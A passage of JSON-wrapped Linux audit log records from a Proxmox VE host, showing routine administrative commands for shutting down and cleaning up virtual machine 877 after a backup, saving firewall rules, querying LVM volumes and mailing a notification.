a63=\"virtio-scsi-pci,id=virtioscsi0,bus=pci.3,addr=0x1,iothread=iothread-virtioscsi0\" a64=\"-blockdev\" a65=7B226465746563742D7A65726F6573223A226F6E222C2264697363617264223A2269676E6F7265222C22647269766572223A227468726F74746C65222C2266696C65223A7B226361636865223A7B22646972656374223A747275652C226E6F2D666C757368223A66616C73657D2C226465746563742D7A65726F6573223A226F6E222C2264697363617264223A2269676E6F7265222C22647269766572223A22726177222C2266696C65223A7B2261696F223A22696F5F7572696E67222C226361636865223A7B22646972656374223A747275652C226E6F2D666C757368223A66616C73657D2C226465746563742D7A65726F6573223A226F6E222C2264697363617264223A2269676E6F7265222C22647269766572223A22686F73745F646576696365222C2266696C656E616D65223A222F6465762F7076652F766D2D3837372D6469736B2D30222C226E6F64652D6E616D65223A2265343964303561333966306530653063346639336262383665383666386361222C22726561642D6F6E6C79223A66616C73657D2C226E6F64652D6E616D65223A2266343964303561333966306530653063346639336262383665383666386361222C22726561642D6F6E6C79223A66616C73657D2C226E6F64652D6E616D65223A2264726976652D7363736930222C22726561642D6F6E6C79223A66616C73652C227468726F74746C652D67726F7570223A227468726F74746C652D64726976652D7363736930227D a66=\"-device\" a67=\"scsi-hd,bus=virtioscsi0.0,channel=0,scsi-id=0,lun=0,drive=drive-scsi0,id=scsi0,device_id=drive-scsi0,bootindex=100,write-cache=on\" a68=\"-netdev\" a69=\"type=tap,id=net0,ifname=tap877i0,script=/usr/libexec/qemu-server/pve-bridge,downscript=/usr/libexec/qemu-server/pve-bridgedown,vhost=on\" a70=\"-device\" a71=\"virtio-net-pci,mac=BC:24:11:17:BA:98,netdev=net0,bus=pci.0,addr=0x12,id=net0,rx_queue_size=1024,tx_queue_size=256,bootindex=102,host_mtu=1500\" a72=\"-machine\" a73=\"hpet=off,accel=tcg,type=pc+pve0\""} {"@timestamp":1781964366165,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.165:60721): proctitle=\"ip6tables-save\""} {"@timestamp":1781965075400,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.400:63997): argc=3 a0=\"/bin/systemctl\" a1=\"stop\" a2=\"877.scope\""} {"@timestamp":1781964366152,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.152:60720): proctitle=\"iptables-save\""} {"@timestamp":1781965075389,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.389:63996): argc=3 a0=\"/bin/systemctl\" a1=\"reset-failed\" a2=\"877.scope\""} {"@timestamp":1781964366143,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.143:60719): proctitle=\"ebtables-restore\""} {"@timestamp":1781965075377,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.377:63995): argc=3 a0=\"/bin/systemctl\" a1=\"reset-failed\" a2=\"pve-dbus-vmstate@877.service\""} {"@timestamp":1781964366106,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.106:60718): proctitle=\"ebtables-restore\""} {"@timestamp":1781965075329,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.329:63994): argc=2 a0=\"/usr/bin/kvm\" a1=\"--version\""} {"@timestamp":1781964366084,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.084:60717): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965075296,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.296:63993): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964366068,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.068:60716): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965075260,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.260:63992): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964366059,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.059:60715): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965074053,"@rawstring":"node=pve type=EXECVE msg=audit(1781965074.053:63991): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964366050,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.050:60714): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965074025,"@rawstring":"node=pve type=EXECVE msg=audit(1781965074.025:63990): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964366038,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.038:60713): proctitle=697073657400726573746F7265"} {"@timestamp":1781965072994,"@rawstring":"node=pve type=EXECVE msg=audit(1781965072.994:63989): argc=2 a0=\"/usr/sbin/postdrop\" a1=\"-r\""} {"@timestamp":1781964366024,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.024:60712): proctitle=\"ip6tables-save\""} {"@timestamp":1781965072989,"@rawstring":"node=pve type=EXECVE msg=audit(1781965072.989:63988): argc=7 a0=\"/usr/sbin/sendmail\" a1=\"-N\" a2=\"never\" a3=\"-f\" a4=\"root\" a5=\"--\" a6=\"lucy@dragoncatsilly.net\""} {"@timestamp":1781964366009,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.009:60711): proctitle=\"iptables-save\""} {"@timestamp":1781965072982,"@rawstring":"node=pve type=EXECVE msg=audit(1781965072.982:63987): argc=1 a0=\"/usr/libexec/proxmox-mail-forward\""} {"@timestamp":1781964366001,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.001:60710): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965072907,"@rawstring":"node=pve type=EXECVE msg=audit(1781965072.907:63986): argc=2 a0=\"/usr/sbin/postdrop\" a1=\"-r\""} {"@timestamp":1781964365977,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964365.977:60709): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965072896,"@rawstring":"node=pve type=EXECVE msg=audit(1781965072.896:63985): argc=7 a0=\"/usr/sbin/sendmail\" a1=\"-B\" a2=\"8BITMIME\" a3=\"-f\" a4=\"root\" a5=\"--\" a6=\"lucy@dragoncatsilly.net\""} {"@timestamp":1781964365977,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964365.977:60708): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965072887,"@rawstring":"node=pve type=EXECVE msg=audit(1781965072.887:63984): argc=3 a0=\"cp\" a1=\"/var/log/vzdump/qemu-877.log\" a2=\"/var/lib/vz/dump/vzdump-qemu-877-2026_06_20-15_17_31.log\""} {"@timestamp":1781964365977,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964365.977:60707): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965071867,"@rawstring":"node=pve type=EXECVE msg=audit(1781965071.867:63982): argc=6 a0=\"/usr/bin/perl\" a1=\"/usr/sbin/qm\" a2=\"cleanup\" a3=\"877\" a4=\"1\" a5=\"0\""} {"@timestamp":1781964365969,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964365.969:60706): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965071861,"@rawstring":"node=pve type=EXECVE msg=audit(1781965071.861:63981): argc=4 a0=\"/bin/sh\" a1=\"-e\" a2=\"/usr/lib/open-iscsi/net-interface-handler\" a3=\"stop\""} {"@timestamp":1781964365959,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964365.959:60705): proctitle=\"ip6tables-save\""} {"@timestamp":1781965071851,"@rawstring":"node=pve type=EXECVE msg=audit(1781965071.851:63979): argc=4 a0=\"/bin/sh\" a1=\"-e\" a2=\"/usr/lib/open-iscsi/net-interface-handler\" a3=\"stop\""} {"@timestamp":1781964365951,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964365.951:60704): proctitle=\"iptables-save\""} {"@timestamp":1781965071840,"@rawstring":"node=pve type=EXECVE msg=audit(1781965071.840:63978): argc=5 a0=\"/sbin/ip\" a1=\"link\" a2=\"delete\" a3=\"dev\" a4=\"fwbr877i0\""} {"@timestamp":1781964365945,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964365.945:60703): proctitle=69707365740073617665"} {"@timestamp":1781965071836,"@rawstring":"node=pve type=EXECVE msg=audit(1781965071.836:63977): argc=4 a0=\"/bin/sh\" a1=\"-e\" a2=\"/usr/lib/open-iscsi/net-interface-handler\" a3=\"stop\""} {"@timestamp":1781964365928,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964365.928:60702): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965071832,"@rawstring":"node=pve type=EXECVE msg=audit(1781965071.832:63975): argc=4 a0=\"/bin/sh\" a1=\"-e\" a2=\"/usr/lib/open-iscsi/net-interface-handler\" a3=\"stop\""} {"@timestamp":1781964365913,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964365.913:60701): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965071827,"@rawstring":"node=pve type=EXECVE msg=audit(1781965071.827:63973): argc=5 a0=\"/sbin/ip\" a1=\"link\" a2=\"delete\" a3=\"dev\" a4=\"fwln877i0\""} {"@timestamp":1781964364368,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964364.368:60700): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965071822,"@rawstring":"node=pve type=EXECVE msg=audit(1781965071.822:63972): argc=5 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"tap877i0\" a4=\"nomaster\""} {"@timestamp":1781964364313,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964364.313:60699): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965071686,"@rawstring":"node=pve type=EXECVE msg=audit(1781965071.686:63971): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964364070,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964364.070:60698): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965071678,"@rawstring":"node=pve type=EXECVE msg=audit(1781965071.678:63968): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964364070,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964364.070:60697): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965071640,"@rawstring":"node=pve type=EXECVE msg=audit(1781965071.640:63963): argc=4 a0=\"/bin/sh\" a1=\"/usr/lib/udev/vdev_id\" a2=\"-d\" a3=\"dm-6\""} {"@timestamp":1781964364070,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964364.070:60696): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965071636,"@rawstring":"node=pve type=EXECVE msg=audit(1781965071.636:63962): argc=3 a0=\"/usr/bin/perl\" a1=\"/usr/libexec/qemu-server/pve-bridgedown\" a2=\"tap877i0\""} {"@timestamp":1781964364045,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964364.045:60695): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965071631,"@rawstring":"node=pve type=EXECVE msg=audit(1781965071.631:63961): argc=6 a0=\"/usr/sbin/dmsetup\" a1=\"splitname\" a2=\"--nameprefixes\" a3=\"--noheadings\" a4=\"--rows\" a5=\"pve-vm--877--disk--0\""} {"@timestamp":1781964364045,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964364.045:60694): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965066669,"@rawstring":"node=pve type=EXECVE msg=audit(1781965066.669:63960): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964364045,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964364.045:60693): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965066663,"@rawstring":"node=pve type=EXECVE msg=audit(1781965066.663:63957): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964359030,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964359.030:60692): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965065700,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.700:63954): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964359030,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964359.030:60691): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965065695,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.695:63953): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964359030,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964359.030:60690): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965065695,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.695:63952): argc=1 a0=\"date\""} {"@timestamp":1781964359017,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964359.017:60689): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965065686,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.686:63950): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964359017,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964359.017:60688): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965065673,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.673:63949): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964359016,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964359.016:60687): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965065660,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.660:63948): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964355850,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.850:60686): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965065643,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.643:63947): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964355834,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.834:60685): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965065632,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.632:63946): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964355833,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.833:60684): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965065626,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.626:63944): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964355833,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.833:60683): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965065619,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.619:63943): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964355825,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.825:60682): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965065609,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.609:63942): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964355774,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.774:60681): proctitle=\"ip6tables-save\""} {"@timestamp":1781965065599,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.599:63941): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964355749,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.749:60680): proctitle=\"iptables-save\""} {"@timestamp":1781965065592,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.592:63940): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964355733,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.733:60679): proctitle=\"ip6tables-save\""} {"@timestamp":1781965065582,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.582:63939): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964355694,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.694:60678): proctitle=\"iptables-save\""} {"@timestamp":1781965065567,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.567:63938): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964355685,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.685:60677): proctitle=\"ebtables-restore\""} {"@timestamp":1781965065554,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.554:63937): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964355649,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.649:60676): proctitle=\"ebtables-restore\""} {"@timestamp":1781965065550,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.550:63936): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964355612,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.612:60675): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965065543,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.543:63935): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964355593,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.593:60674): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965065542,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.542:63934): argc=1 a0=\"date\""} {"@timestamp":1781964355583,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.583:60673): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965065530,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.530:63932): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964355559,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.559:60672): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965065516,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.516:63931): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964355547,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.547:60671): proctitle=697073657400726573746F7265"} {"@timestamp":1781965065501,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.501:63930): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964355536,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.536:60670): proctitle=\"ip6tables-save\""} {"@timestamp":1781965065491,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.491:63929): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964355520,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.520:60669): proctitle=\"iptables-save\""} {"@timestamp":1781965065476,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.476:63928): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964355513,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.513:60668): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965065460,"@rawstring":"node=pve type=EXECVE msg=audit(1781965065.460:63927): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964355491,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.491:60667): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965064940,"@rawstring":"node=pve type=EXECVE msg=audit(1781965064.940:63926): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964355488,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.488:60666): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965064911,"@rawstring":"node=pve type=EXECVE msg=audit(1781965064.911:63925): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964355488,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.488:60665): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965061653,"@rawstring":"node=pve type=EXECVE msg=audit(1781965061.653:63924): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964355469,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.469:60664): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965061646,"@rawstring":"node=pve type=EXECVE msg=audit(1781965061.646:63921): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964355446,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.446:60663): proctitle=\"ip6tables-save\""} {"@timestamp":1781965060112,"@rawstring":"node=pve type=EXECVE msg=audit(1781965060.112:63918): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964355428,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.428:60662): proctitle=\"iptables-save\""} {"@timestamp":1781965060112,"@rawstring":"node=pve type=EXECVE msg=audit(1781965060.112:63917): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964355419,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.419:60661): proctitle=69707365740073617665"} {"@timestamp":1781965060110,"@rawstring":"node=pve type=EXECVE msg=audit(1781965060.110:63916): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964355390,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.390:60660): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965056639,"@rawstring":"node=pve type=EXECVE msg=audit(1781965056.639:63915): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964355366,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964355.366:60659): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965056631,"@rawstring":"node=pve type=EXECVE msg=audit(1781965056.631:63912): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964354176,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964354.176:60658): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965055442,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.442:63909): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964354098,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964354.098:60657): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965055435,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.435:63908): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964353998,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964353.998:60656): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965055434,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.434:63907): argc=1 a0=\"date\""} {"@timestamp":1781964353998,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964353.998:60655): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965055426,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.426:63905): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964353998,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964353.998:60654): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965055414,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.414:63904): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964353983,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964353.983:60653): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965055405,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.405:63903): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964353983,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964353.983:60652): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965055390,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.390:63902): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964353983,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964353.983:60651): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965055380,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.380:63901): argc=1 a0=\"iptables-save\""} 